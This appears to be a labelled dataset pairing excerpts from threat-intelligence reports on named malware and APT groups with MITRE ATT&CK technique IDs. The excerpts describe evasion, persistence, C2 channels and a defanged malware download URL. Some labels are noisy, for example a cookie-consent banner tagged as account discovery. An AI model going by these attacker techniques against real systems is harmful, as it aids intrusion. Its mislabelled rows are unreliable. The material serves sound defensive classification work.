"PACT analysts found it particularly novel the way that DarkWatchman utilizes the registry: as a way to communicate between abstracted threads of operation, and as both persistent and temporary storage. It would appear that the authors of DarkWatchman identified and took advantage of the complexity and opacity of the Windows Registry to work underneath or around the detection threshold of security tools and analysts alike. In PACT's analysis, this (along with DarkWatchman's persistence and self-compilation mechanisms that make use of LOLbins) represents an important step in the evolution of threat actor TTPs on Windows systems",T1027.004
"Post-compromise, APT39 leverages custom backdoors such as SEAWEED, CACHEMONEY, and a unique variant of POWBAT to establish a foothold in a target environment. During privilege escalation, freely available tools such as Mimikatz and Ncrack have been observed, in addition to legitimate tools such as Windows Credential Editor and ProcDump. Internal reconnaissance has been performed using custom scripts and both freely available and custom tools such as the port scanner, BLUETORCH",T1027.002 | T1003.001
"BIFROSE, known for evading detection by communicating with its C&C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices. KIVARS has less functionality than BIFROSE, but its modular structure made it easier to maintain. KIVARS enabled attackers to download and execute files, list drives, uninstall malware service, take screenshots, activate/deactivate keylogger, show/hide active windows, and trigger mouse clicks and keyboard inputs",T1083
"As we reported in earlier blog posts, the threat actor NOBELIUM recently intensified an email-based attack that it has been operating and evolving since early 2021. In this blog, we highlight four tools representing a unique infection chain utilized by NOBELIUM: EnvyScout, BoomBox, NativeZone, and VaporRage. These tools have been observed being used in the wild as early as February 2021, attempting to gain a foothold on a variety of sensitive diplomatic and government entities",T1566.001
The recent instances we have observed were spread through emails with malicious links. Clicking the link leads to the download of a zip containing a VBS file (detected as Trojan.VBS.QAKBOT.SM) that then downloads a malicious executable file (detected by Trend Micro as Backdoor.Win32.QBOT.SMTH,T1059.005
"The components of the dropper package are executed in a number of steps; each stage involves a heavy dose of code obfuscation that is designed to shield the malware from detection. To lead researchers and anti-malware software further astray, some garbage code is also included",T1027.001
Function Document_Open first calls the Main function to download binary data from hxxp://diangovcomuiscia.com/media/a.jpg and save as %AppData%\1.exe (MD5: ef9f19525e7862fb71175c0bbfe74247,T1105
"Cicada has historically been known to target Japan-linked organizations, and has also targeted MSPs in the past. The group is using living-off-the-land tools as well as custom malware in this attack campaign, including a custom malware - Backdoor.Hartip - that Symantec has not seen being used by the group before",T1027
"Interestingly, some of the custom tools described in Palo Alto Networks' 2017 blogpost on Gamaredon are still being updated and in use today. The most prevalent tools downloaded and installed on compromised machines can be broadly grouped into two different categories: downloaders and backdoors",T1105
"To finalize, the script attempts to install reboot persistence for the trojan binary by adding it to /etc/rc.local",T1574.006 | T1037.004
"All of these tools, with the exception of Mimikatz (which is almost always used maliciously), have legitimate uses. For example, PowerShell is widely used within enterprises and the vast majority of scripts are legitimate. Similarly, PsExec is frequently used by systems administrators. However, in this case, it was Thrip's use of PsExec that drew our attention. Through advanced artificial intelligence and machine learning, TAA has trained itself to spot patterns of malicious activity. While PsExec itself may be innocuous, the way that it was being used here triggered an alert by TAA. In short, Thrip's attempts at camouflage blew its cover",T1588.002
"TSCookie communicates to C&C servers using HTTP protocol and downloads ""a module"" and ""a loader"" for loading the module. The malware has an encrypted DLL file in its resource. When the malware is executed, the DLL file is loaded and executed on memory. The DLL file performs main functions such as communicating with C&C servers. Also, some samples launch another process and inject decrypted DLL file. The malware has configuration information encrypted with RC4, including C&C server information",T1140
"""Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. In this case, the infection vector has changed from previous samples. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to """".exe. Although the malicious part of the binary is only 2MB, the final file is more than 120MB in size, padded out with random data. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019""",T1566.001 | T1036.005
"Here they logged into the target system and used remote access software to retain access. Next, malicious services created using msfvenom were started on the compromised computer. Because the hackers used fileless attacks and PowerShell, they were able to avoid allowlisting technologies and domain policies. If they encountered a allowlisting that could not be bypassed, or PowerShell was blocked on the target computer, the cybercriminals used impacket, and winexesvc.exe or psexec.exe to run executable files remotely",T1059.001
"Its sole purpose is to load setup.dll using LoadLibraryA. setup.exe is executed without arguments by the RARSFX, and checks whether it's running with elevated privileges. If not, it will attempt to obtain such privileges using token impersonation if the version of Windows is below Windows 7 build 7601; otherwise it will attempt different UAC bypass techniques, allowing installation of the payload loader into one of",T1134.002
"In 2020 Pawn Storm spread simple Google Drive and IMAP Remote Access Trojans (RATs) to attack their usual targets, such as ministries of foreign affairs, embassies, the defense industry and the military. Recently, Norwegian authorities announced that Pawn Storm hacked the Norwegian parliament through brute force attacks",T1110
"Once OSX/Dok infection is complete, the attackers gain complete access to all victim communication, including communication encrypted by SSL. This is done by redirecting victim traffic through a malicious proxy server",T1543.001
The Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA). This malware has been identified as WELLMAIL. Advanced persistent threat (APT) groups have been identified using this malware. The files are a variant of the WellMail implant,T1571
"Written in Go, GoldMax acts as command-and-control backdoor for the actor. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running",T1027
"In this version, a shortcut is created in order to launch winnit.exe in the following path %USERPROFILE%\Start Menu\Programs\Startup\Anti virus service.lnk",T1036.005
The original JS file has been detected as JS/Nemucod.F436. tr and the downloaded Emotet exe has been detected as W32/GenKryptik.ADJR,T1560
"We have found a sample crypted by the CryptOne crypter as used by WastedLocker, which is capable of detecting/disabling a list of security software. It is believed that this tool is used during ransomware deployment, but we have no specific evidence that it was used by Evil Corp. However in the past we have seen execution of commands listed in the tool to disable Microsoft Windows Defender",T1059.003
2) The sample with less functionality needs to read and decrypt the stored registry values in order to communicate with the C&C or to inject to svchost,T1012
"Once the system identifier is obtained, the payload gathers system specific information and sends it to the C2 server. The tunneling protocol transmits data by sending a series of DNS queries with the data within the subdomain of the C2 domain. The following shows the specific IP addresses or strings used by the C2 to transmit a success or cancel message depending on the type of DNS query used for C2 communications",T1016 | T1132.001
"""Emissary parses command and control responses for """"instru"""", which will precede a GUID value that designates the command the C2 server wishes to execute on the system. Emissary can include up to 32 different commands within this data structure, but it appears the author has decided to include six commands within the Trojan. The following denotes the command handler structure used by Emissary v1.0""",T1007 | T1069.001 | T1016
"During our analysis we found similarities between Ferocious Kitten and other threat groups, namely Domestic Kitten and Rampant Kitten, both in terms of their TTPs and victims. Like Domestic Kitten, Ferocious Kitten has used the same set of C2 servers over long periods of time and shows the same URL patterns for C2 communication using only three letters such as ""updatei[.]com/fff/"" or ""updatei[.]com/fil",T1583.001 | T1036.005
"First, Wastedlocker decrypts the strings which are stored in the .bss section and then calculates a DWORD value that is used later for locating decrypted strings that are related to the encryption process. This is described in more detail in the String encryption section. In addition, the ransomware creates a log file lck.log and then sets an exception handler that creates a crash dump file in the Windows temporary folder with the filename being the ransomware's binary filename",T1543.003
"We not only found the initial entry point, but we were able to follow Seedworm's subsequent activity after the initial infection due to the vast telemetry Symantec has access to via its Global Intelligence Network. DeepSight MATI customers can leverage these unique insights to combat emerging cyber threats",T1059.003
"The attackers installed a backdoor macro in Microsoft Outlook that enabled them to execute commands, deploy their tools and steal valuable data from the compromised machines",T1137
The actor has used a clever method to bypass security mechanisms in which it has embedded its malicious HTA file as a compressed zlib file within a PNG file that then has been decompressed during run time by converting itself to the BMP format. The second stage payload has the capability to receive and execute commands/shellcode as well as perform exfiltration and communications to a command and control server,T1027.003
"Next, it performs a massive printf loop - the first stage. Since before the loop FreeConsole has been called all printf calls do basically nothing: This code has been directly copied from the documentation of printf: So what is the purpose of those numerous printf loops. As a result, the massive amount of calls delay the execution process and overload the sandbox with junk data. This behavior is called API Hammering. API Hammering is not a new technique, we have already seen it several years ago e.g. Joe Sandbox detects the API hammering successfully and rates it as malicious: Right after the printf flood, the sample performs another loop to delay execution by creating and writing to a temporary file - the second stage. In between it performs random sleeps: Again, the purpose is to overload the sandbox and delay the execution",T1497.003
"If it believes it's found a Windows server, Xbash will exploit the Redis vulnerability to create a Windows startup item (as shown in Figure 6), instead of a Linux cronjob",T1059.005 | T1547.001 | T1105 | T1059.001
The binary used the same string obfuscation technique - - Malicious document VBA code similarities with what's shown in the screenshots - Digital signature signer name EGIS CO. in the dropped file,T1553.002 | T1027
"Remcom: An open-source alternative to PsExec, which is a Microsoft Sysinternals tool used for executing processes on other systems. Non-sucking Service Manager (NSSM): An open-source alternative to the Windows Service Manager which can be used to install and remove services and will restart services if they crash. A custom screenshot and clipboard capture tool. SMB hacking tools: Used in conjunction with other tools to traverse target networks. UltraVNC: An open-source remote administration tool for Microsoft Windows. NBTScan: A free tool for scanning IP networks for NetBIOS name information",T1018 | T1569.002
Killkill: Stops the backdoor's activities - interval: Changes the interval in which the backdoor retrieves jobs; the default interval is set at 120 seconds - cmd: Executes shell commands - exe:Reflectively injects a DLL downloaded from a specific URL,T1055.001
"Our findings indicate the actor attempted to blame multiple parties, including both Poland and Ukrainians themselves, despite the fact that technical indicators surrounding the attack do not support these false narratives. It was the Polish translation that was the first indicator since it was quickly discovered to just be a translation of the message in Russian using the popular platform yandex.ru's translation capabilities. SSSCIP has also made a connection between WhisperKill, a component of the WhisperGate malware that was deployed on Ukrainian systems, and the Encrypt3d ransomware, also known as WhiteBlackCrypt. WhiteBlackCrypt was reportedly used in operations against Russian targets in 2021",T1059.001
"BIFROSE, known for evading detection by communicating with its C&C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices. KIVARS has less functionality than BIFROSE, but its modular structure made it easier to maintain. KIVARS enabled attackers to download and execute files, list drives, uninstall malware service, take screenshots, activate/deactivate keylogger, show/hide active windows, and trigger mouse clicks and keyboard inputs. A 64-bit version of KIVARS also emerged to keep pace with the popularity of 64-bit systems. XBOW's capabilities are derived from BIFROSE and KIVARS; Shrouded Crossbow gets its name from its unique mutex format",T1070.004 | T1105 | T1083 | T1021 | T1564.003
"Some versions of the Orz backdoor have 32- and 64-bit embedded DLLs, stored internally as base64 strings",T1082
"""Below, we can see the malicious file """"untitled.exe"""" using """"cmd.exe"""" to execute the vssadmin.exe utility. It attempts to delete default Windows backup mechanisms, otherwise known as """"shadow copies,"""" to prevent recovery of the original files from these backups. The ransom note, in this case, directs victims to either a .onion website on the Tor network or on the public web at the domain decryptor[.]top, registered on March 31 this year. With Sodinokibi, each encrypted system sees a distinct encrypted file extension. The ransom note filename also includes this extension as a prefix (ex""",T1486
"The malware calls Windows functions in a unique way to aid obfuscation, i.e. When the function ends, Windows makes a ""ret"" opcode then gets the last memory address that the malware pushed inside the stack, returning to this address and continuing the flow",T1106
"Advanced malware is becoming more evasive to avoid being detected by analysis sandboxes. Darkhotel uses a huge arsenal of system fingerprints, trying to determine whether it is running inside an analysis environment, and it avoids revealing its malicious behavior if a sandbox is detected. To avoid leaking details about the fingerprints it uses to identify sandboxes, Darkhotel uses just-in-time decryption as well as hashing of strings",T1497
"In one version of the malware, the code checks if the ""ProgramData"" folder has folders or files with the keywords ""Kasper"", ""Panda"", or ""ESET",T1082 | T1083
"Our colleagues from the IssueMakersLab team shared insights and information about the Andariel group, including that they attacked ActiveX vulnerabilities as far back as 2007. The team monitoring Andariel found that the cybercriminal group injected a malicious script on a South Korean think tank website for reconnaissance in January 2017 and then switched to inject an ActiveX zero-day exploit in mid-April. IssueMakersLab also listed the ActiveX objects that the Andariel group attacked",T1203
"Sibot reaches out to a legitimate but compromised website to download a DLL to a folder under System32. In observed instances the DLL is downloaded to C:\windows\system32\drivers\, renamed with a .sys extension, and then executed by rundll32. The scheduled task calls an MSHTA application to run Sibot via the obfuscated script",T1218.005
"Since February 2018, Emotet has been used to spread W32.Qakbot, a family of banking Trojans known for behaving like network worms",T1210
"One of the most notable functions of the initial dropper is to bypass Windows UAC (User Account Control) in order to execute the next payload with higher privileges. Afterwards, the installer malware creates a downloader and a configuration file from its resource and executes it. The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload. The downloaded payload is an image file, but it contains an appended malicious payload to be decrypted",T1082
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"Close analysis of the delivered payloads and legitimate resources retrieved from URLs by the first stage malware dropper reveals that TA416 is once again using an updated version of PlugX malware to target their victims. Historically, the group has relied on a variety of legitimate antivirus files, including the Avast file resource wsc_proxy.exe, to begin the process of DLL search order hijacking that results in PlugX malware installation. This is a legitimate executable file that is part of the publicly available media player Daum PotPlayer 1.5.29825, which Mandiant has previously documented as being susceptible to search order hijacking since at least 2016. The file DocConvDll.dll has also intermittently been used as a loader of the PlugX DAT configuration files. For those that are familiar with TA416's historic tactics, techniques, and procedures (TTPs), this is highly similar to the Trident Loader method which the group used to install PlugX in previous campaigns",T1036.005
"The task file and its config are decrypted (CAST-128) and the task executed. There are some options that are retrieved from the Carbon configuration file: ""time2task"" is used to set a timeout for the task execution (1 hour by default) while ""task_min"" and ""task_max"" are used as to wait a random time between the execution of the tasks on the task list (the random time will be set between ""task_min"" and ""task_max""). These parameters come from the section [TIME",T1140
"Network Reconnaissance - gathering information from machines on the network. Certutil - a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates. Adfind - a command-line tool that can be used to perform Active Directory queries. Csvde - can be used to extract Active Directory files and data. Ntdsutil - can be used as a credential-dumping tool. WMIExec - can be used for lateral movement and to execute commands remotely. PowerShell - a powerful interactive command-line interface and scripting environment included in the Windows operating system. It can be used to find information and execute code, and is frequently abused by malicious actors",T1047
"The second main binary is a removable-drive monitor that searches for files that have an interesting extension (.pdf, .rtf, .doc, .docx). It then stages the files in an encrypted archive",T1119 | T1025
The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold. Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts,T1572
"Both backdoors target Arabic-speaking users. They use code that checks if the compromised machine has the Arabic language installed. This way, the attacker avoids systems belonging to non-relevant individuals as well as most sandboxes, Cybereason researchers note",T1082
"While it has been well known and utilized heavily by system administrators since its inception, WMI became popular in the security community when it was found to be used by Stuxnet3. Since then, WMI has been gaining popularity amongst attackers for its ability to perform system reconnaissance, anti-virus and virtual machine (VM) detection, code execution, lateral movement, persistence, and data theft. As attackers increasingly utilize WMI, it is important for defenders, incident responders, and forensic analysts to have knowledge of WMI and to know how they can wield it to their advantage",T1546.003
"Once the malware has persisted itself, it then checks whether there's any existing stratum mining information stored in the following registry key value",T1012
"Turla has been around for many years as a state-sponsored actor and will likely not go away soon. Adversaries like Turla often use sophisticated malware, but they also often use what is good enough to fly under the radar. Talos has monitored many noisy Turla operations, for example. During their campaigns, they are often using and re-using compromised servers for their operations, which they access via SSH, often protected by TOR. One public reason why we attributed this backdoor to Turla is the fact that they used the same infrastructure as they used for other attacks that have been clearly attributed to their Penguin Turla Infrastructure. We will continue to monitor Turla and the other state-sponsored actors to protect our customers against these attacks. It isn't unlikely that the adversaries will manage to bypass one or the other security measures, but it is much harder for them to bypass all of them. These campaigns and the refinement of the TTPs being used will likely continue for the foreseeable future",T1106
"The first thread enumerates all processes of the system and creates the name of the process in upper case and calculates a hash with the name and compares it with a big list of hashes. It is typical in malware that tries to hide what processes they are looking for. If it finds one of them it will terminate it with ""TerminateProcess"" function after opening with the rights to make this action with ""OpenProcess"" function",T1057
"Daserf - This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - RarStar - This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan - This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR - This tool extracts tools for lateral movement and compresses data for exfiltration. Use archiving software to collect files in a password-protected archive. Use an uploader or other malware to send the archived files to an attacker-controlled server. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",T1560.001
"In this campaign, the threat actor also uses ""init"" and ""systemd"" services for persistence. The name of the service is ""netdns. Below is a snippet from the setup script used by Rocke in a previous campaign that also uses the serviced called netdns",T1543.002
"""This binary has two main features. If it is executed with the """"help"""" parameter, it will install a service to execute itself as a service. This has a notable side effect: if rmaserv.exe is executed isolated on a sandbox (so without the parameter), the service is not created. The second main feature is the service. This service has two features. This event is the mechanism used by the C2 contact module to alert the service executable to perform the cleaning of all components""",T1543.003
"Cofense Intelligence recently observed an email campaign delivering Revenge RAT that exhibited above- average sophistication in its delivery technique and persistence mechanisms. In this campaign, threat actors used redundant command and control infrastructure disguised as legitimate content to deliver a sample of Revenge RAT without leaving files on disk",T1102.002
The code of the Defender.sct file is an obfuscated JavaScript. The main function performed by the SCT file is to Base64 decode the contents of WindowsDefender.ini file and execute the decoded PowerShell Script using the following command line,T1059.007
The WellMess malware stores the C2 IP addresses it uses in the binary as a plaintext url. The format of the C2 url string for the example in Figure 3 would be one of,T1016
"newtask""- Execute arbitrary code on the local machine, download and execute a file from any remote server, kill or uninstall the program and sends updated fingerprint data",T1105
"This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. This release of Cobalt Strike pushes back on this technique with the ppid command. If I'm in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes. To benefit from the ppid command, your session must have rights to access the parent process. Beacon's runu command runs an arbitrary command as a child of another parent. These commands offer means to spawn a payload, in another desktop session, without remote process injection. The Resource Kit . Cobalt Strike 3.8's Resource Kit finally gives you a way to change Cobalt Strike's built-in script templates. The Resource Kit is a collection of Cobalt Strike's default script templates and a sample Aggressor Script to bring these into Cobalt Strike. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows",T1078.002
"C2 Communication Malware C2 servers are stored hardcoded in binary and cannot be changed by operators dynamically, unless the malware's executable binary is updated. In our binary, there are three hardcoded HTTPS URLs used for C2 communication. These C2 servers' addresses were not seen in previous versions",T1071.001
All the stages' executables are created as chains to avoid detection and protect the C2 server,T1027 | T1105 | T1560.001
"""VERMIN collects all keystrokes and clipboard data and encrypts the data before storing it in the following folder: %appdata%\Microsoft\Proof\Settings. ED7BA470-8E54-465E-825C-99712043E01C}\Profiles\. Each file is saved with the following format: """"{0:dd-MM-yyyy}.txt"""". The data is encrypted using the same method and 3-DES key, used to encrypt the configuration file. Vermin supports the following commands""",T1115 | T1560 | T1119
"Early in March 2019, a new macOS malware sample from the OceanLotus group was uploaded to VirusTotal, a popular online multi-scanner service. This backdoor executable bears the same features as the previous macOS variant we looked at, but its structure has changed and its detection was made harder",T1222.002
"In a nutshell, these commands allow the attackers to run, stop, and enumerate processes; read, write, and enumerate files and registry keys; collect and upload information about the device; and restart the device, wait, or exit. The command CollectSystemDescription retrieves the following information",T1083
"Upon clicking the URLs provided in the phishing emails, targets were redirected to a compromised server hosting JavaScript profiling scripts. Once a target host was profiled, victims downloaded a malicious Adobe Flash Player SWF file and an FLV file, detailed below. This ultimately resulted in a custom backdoor known as SHOTPUT, detected by FireEye as Backdoor.APT.CookieCutter, being delivered to the victim's system",T1204.001
"WE VALUE YOUR PRIVACY This site uses cookies and related technologies, as described in our privacy policy, for purposes that may include site operation, analytics, enhanced user experience, or advertising. You may choose to consent to our use of these technologies, or manage your own preferences",T1087.001
"Gain access to the victim's network by logging into a public-facing system via Secure Shell (SSH) using a local account <user sftp> acquired during previous credential theft activities. Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account. From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator's account. Log in to O365 as a user with privileged access to cloud resources",T1078.003 | T1133
"They renamed their files to make them look like legitimate files, for example, KB77846376.exe, named after Microsoft update files. When planting webshells on the Outlook Exchange servers, they modified already existing legitimate flogon.js and logoff.aspx files. They relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools",T1546.012
"In a newly-identified campaign, FIN7 modified their phishing techniques to implement unique infection and persistence mechanisms. FIN7 has moved away from weaponized Microsoft Office macros in order to evade detection. This round of FIN7 phishing lures implements hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim",T1218.005
"One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub. The malware was a python-based implant using Dropbox for command and control. It would allow the attacker to upload and download files as well as execute arbitrary commands. Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection",T1566.002
Blue Mockingbird is the name we've given to a cluster of similar activity we've observed involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest Blue Mockingbird tools we've observed were created in December 2019,T1543.003 | T1546.003 | T1496
"As before, the malware uses a combination of RSA, RC4 encryption, and HTTPS to communicate with the C&C. An encrypted packet has the following structure: 4-byte CRC, followed by RSA_BLOB. After decrypting RSA (request packets cannot be decrypted without the C&C private key), we get a GZIP packet",T1071.001
"Collects information about the infected system, network, drives, and installed applications. Saves the collected information to a file named ""info"" in ""%appdata%\Micorosoft\Templates"" and sends it to the C2. Executes the KGH installer",T1518
"BlackTech is a threat group known primarily for conducting cyber espionage operations against targets in East Asia, with a focus on Taiwan and Japan. The group has likely been active for a number of years and is responsible for several separate campaigns leveraging overlapping infrastructure. BlackTech often abuses legitimate software tools and processes to achieve its goals, using stolen digital certificates and API hooking among other techniques",T1106
"This type of threat leverages a technique called reflective dynamic-link library (DLL) injection, also referred to as reflective DLL loading. The technique allows the injection of a DLL from memory rather than from disk. This technique is stealthier than regular DLL injection because aside from not needing the actual DLL file on disk, it also does not need any windows loader for it to be injected. Recently, we have witnessed threat actors using this technique to deploy ColdLock ransomware. Now, we have seen the same attack using a filelessly executed Netwalker ransomware",T1106
"1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. The VBS script will also add two important registry keys for persistence. The persistence technique observed in all intrusions uses COM hijacking. In this technique, the threat actor is able to add a Class ID in the current user registry hive (HKCU) referencing the malicious VBS script written previously to %ProgramData%\winrm.vbs. This registry modification will effectively invoke the malicious VBS script any time a program or script references ""Scripting.Dictionary"" COM programs during their execution. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. Once successful, the macro invokes %ProgramData%\winrm.vbs again using explorer.exe, which in turn will execute the PowerShell snippet that connects to the C2 server and which we named LitePower Stager",T1012
"The payload decodes the response for an answer to the TXT query with base64 and decrypts using the same AES cipher and key as the request. The payload attempts to parse the decrypted cleartext using the regular expression ""[^,]+"" to get the command value and the command arguments that are split with a comma. The payload then checks the command value using a command handler that has the ability to execute commands and upload and download files, as seen in Table 1",T1059.003
"The payload initiates a communication with the C&C server to exfiltrate the stolen data and receive commands. Besides the stolen data, it sends the Windows product name and version, username, computer name, and domain name to the C&C server",T1041
"The custom loader DLLs dropped on disk carried compile timestamps ranging from July 2020 to October 2020, while the embedded Reflective DLLs carried compile timestamps ranging from March 2016 to November 2017. The presence of 2016-2017 compile timestamps is likely due to attackers' usage of custom Malleable C2 profiles with synthetic compile timestamp (compile_time) values. libintl3.dll), and other legitimate applications. The Variant 2 custom loaders were mostly compiled from open-source source code of legitimate applications, such as 7-Zip and Far Manager (i.e. the open-source source code for these applications was modified to add in the malicious code). In some instances, certain development artifacts were left behind in the custom loader samples. For example, the following C++ header (.hpp) path was observed in a loader compiled from a modified Far Manager open-source source code (c:\build\workspace\cobalt_cryptor_far (dev071)\farmanager\far\platform.concurrency.hpp",T1070.006
Persistence is ensured by creating a .LNK file in the Windows startup directory. Of importance is the fact that Grandoreiro uses the same algorithm for decrypting its internal strings as Casbaneiro,T1547.001
"Endpoint Protection . The Shamoon Attacks . W32.Disttrack is a new threat that is being used in specific targeted attacks against at least one organization in the energy sector. It is a destructive malware that corrupts files on a compromised computer and overwrites the MBR (Master Boot Record) in an effort to render a computer unusable. The driver is used to overwrite the computer's MBR but may be used for legitimate purposes. The file is digitally signed - %System%\drivers\drdisk.sys - The device driver is a clean disk driver that enables user-mode applications to read and write to disk sectors. The driver is used to overwrite the computer's MBR but may be used for legitimate purposes. The file is digitally signed - Executes the following commands that collect file names, which will be overwritten and writes them to f1.inf and f2.inf: - Files from the f1.inf and f2.inf will be overwritten with the JPEG image shown below. Overwritten files are thus rendered useless",T1485
"Ecipekac uses a new, complicated loading schema: it uses the four files listed below to load and decrypt four fileless loader modules one after the other to eventually load the final payload in memory",T1140
An attacker who had already achieved remote code execution (RCE) could exploit this vulnerability to elevate privileges. They then downloaded and ran a CVE-2016-0167 exploit to run subsequent code as SYSTEM,T1105
"""While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: domain>/resp. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(""""File Uploaded"""")> The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message < File Not Found > by sending the following URL: domain>/resp. hex(Environment.UserName/Environment.MachineName)>AAZ<hex(""""< File Not Found >"""")> If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class. hex(Environment.UserName/Environment.MachineName)>ABZFinish Overlaps with Previous OilRig Group Attacks Since May 2016, we have continued to monitor and uncover various attacks and tools associated with the OilRig group. However, as we continued to follow the trail of evidence, we found immediate links to past attacks and common artifacts from the OilRig group. This group has repeatedly shown evidence of a willingness to adapt and evolve their tactics, while also reusing certain aspects as well. 2) AutoFocus customers can track these tools with the ThreeDollars and OopsIE 3) Traps blocks the ThreeDollars delivery documents and the OopsIE payload""",T1070.004
Obtain the size of the payload and encrypt that value using the same RC4 algorithm as in step 2. The size of the payload should be the total decrypted size of the payload,T1027
"Last January, we started investigating an ongoing campaign launched by Transparent Tribe to distribute the Crimson malware. The attacks started with malicious Microsoft Office documents, which were sent to victims using spear-phishing emails",T1204.002 | T1566.001
The DNS communication protocol is significantly different to the previous two modes. Data is sent to the C2 by DNS tunnelling. This involves prepending encoded data as a sub domain to a threat actor-controlled domain and then using DNS requests to transmit this data to the C2 with other DNS resolution services forwarding on the message,T1071.004
"There are several unnecessary jumps for control flow obfuscation, including simple opaque predicates leading to junk code. The obfuscation method is a simple one-byte XOR with the same hardcoded value for every piece",T1027
"One of the changes mentioned was that now, any Get-Domainfunction uses LDAP enumeration, meaning that we can pull said information from a domain that trusts us. This is done with the -Domain <domain.fqdn> parameter",T1482
"Once encrypted, the system information is sent in the body of an HTTP POST. Figure 14 shows data sent over the network with the POST request",T1041
"The name Psylo is an anagram from the mutex created when initially running this payload, which is 'hnxlopsyxt",T1070.006 | T1105
"The primary difference between Sample 2 and this sample is the file name used by the payload. The prior version used the name SafeApp.exe and installed the binary into %AppData% and added a Windows auto run registry entry against that file. Sample 3 does the same thing but makes the file name NeutralApp.exe. This is notable, because the malware checks for a copy of itself, and the name is static making it simple to identify infection. Due to the name change, the newer version runs even if SafeApp.exe is currently running on the victim machine",T1036.005
"The choice of terminology in URL paths and file names when delivering BackConfig malware in this, and other campaigns discussed later on, is clearly to blend in as benign operations, paths and filenames. Although spelled differently, it could be easy to believe the payload relates to the DHCP networking service",T1036.005
Valak C2 over HTTP traffic returning ASCII data used to create malware items on the victim host,T1041
"Figure 9 suggests that this file was submitted to VirusTotal as ""jesus.exe"", which is the name of the file in the downloaded zip, before it's being renamed in the MSI payload",T1105
Turla has developed a whole set of backdoors relying on the RPC protocol. These backdoors are used to perform lateral movement and take control of other machines in the local network without relying on an external C&C server,T1090 | T1570 | T1049
"Once executed, the SUNSHUTTLE backdoor enumerates the victim's MAC address and compares it to a hardcoded MAC address value ""c8:27:cc:c2:37:5a"". If a match is found the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter",T1497.001
"In the Sakula samples where the install process performed cleanup, the malware invoked cmd.exe. This process was instantiated by first performing a ping request to localhost to ensure the install process completed before the temporary file was deleted",T1070.004
"CTU researchers have observed TG-3390 actors staging RAR archives, renamed with a .zip file extension, on externally accessible web servers. The adversaries then issue HTTP GET requests, sometimes with the User-Agent MINIXL, to exfiltrate the archive parts from the victim's network (see Figure 16",T1030
"Once the library is called by one of the triggering events implemented in its code, it reads a configuration file from a shared Google Document",T1102.001
"AQUATIC PANDA is a China-based targeted intrusion adversary with a dual mission of intelligence collection and industrial espionage. It has likely operated since at least May 2020. AQUATIC PANDA operations have primarily focused on entities in the telecommunications, technology and government sectors. AQUATIC PANDA relies heavily on Cobalt Strike, and its toolset includes the unique Cobalt Strike downloader tracked as FishMaster. AQUATIC PANDA has also been observed delivering njRAT payloads to targets",T1105 | T1588.001 | T1588.002
